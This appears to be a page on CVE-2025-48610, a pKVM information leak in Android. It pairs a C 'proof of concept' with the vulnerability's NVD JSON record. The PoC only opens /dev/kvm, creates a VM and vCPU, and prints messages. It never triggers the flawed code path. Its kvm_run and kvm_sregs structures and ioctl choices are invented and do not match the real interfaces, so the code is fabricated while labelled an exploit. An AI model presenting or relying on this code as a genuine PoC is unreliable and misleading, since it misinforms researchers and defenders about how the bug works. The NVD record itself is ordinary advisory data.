CVE-2025-48610

// CVE-2025-48610 PoC - Information Disclosure in pKVM // This PoC demonstrates the concept of triggering the vulnerable code path // Note: Actual exploitation requires specific kernel debugging setup #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> // KVM ioctl definitions #define KVM_CREATE_VM 0xAE01 #define KVM_CREATE_VCPU 0xAE41 #define KVM_SET_REGS 0x4090AE82 #define KVM_RUN 0xAE80 struct kvm_run { __u8 delay_slot; __u8 instruction_valid; __u8 cr0; __u8 pending_exception; __u32 cr8; __u64 pc; __u64 regs[16]; }; struct kvm_sregs { __u64 cs_base; __u64 ds_base; __u64 es_base; __u64 fs_base; __u64 gs_base; __u64 ss_base; }; int main() { int kvm_fd, vm_fd, vcpu_fd; // Open KVM device kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("Failed to open /dev/kvm"); return 1; } // Check if pKVM is available (protected VM support) int api_cap = ioctl(kvm_fd, 0xAE00); // KVM_GET_API_VERSION printf("KVM API Version: %d\n", api_cap); // Create VM vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); if (vm_fd < 0) { perror("Failed to create VM"); return 1; } // Create vCPU vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, 0); if (vcpu_fd < 0) { perror("Failed to create vCPU"); return 1; } printf("[*] Attempting to trigger __pkvm_guest_relinquish_to_host\n"); printf("[*] This vulnerability allows configuration data disclosure\n"); printf("[*] Trigger conditions:\n"); printf(" - Local access to the system\n"); printf(" - Low privilege user account\n"); printf(" - Trigger VM exit and return to host\n"); // The actual exploitation requires triggering the specific code path // in __pkvm_guest_relinquish_to_host which has a logic error // causing configuration data to be leaked // For demonstration, this shows the attack setup // Actual PoC would require kernel debugging and memory inspection close(vcpu_fd); close(vm_fd); close(kvm_fd); return 0; }

{"cve": {"id": "CVE-2025-48610", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:17.687", "lastModified": "2025-12-08T21:15:59.923", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In __pkvm_guest_relinquish_to_host of mem_protect.c, there is a possible configuration data leak due to a logic error in the code. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://android.googlesource.com/kernel/common/+/19fbea31785113700731f4b458d7e20d05777729", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://android.googlesource.com/kernel/common/+/cac44a0bcfc58c85082b13220b4adcac43ccf369", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}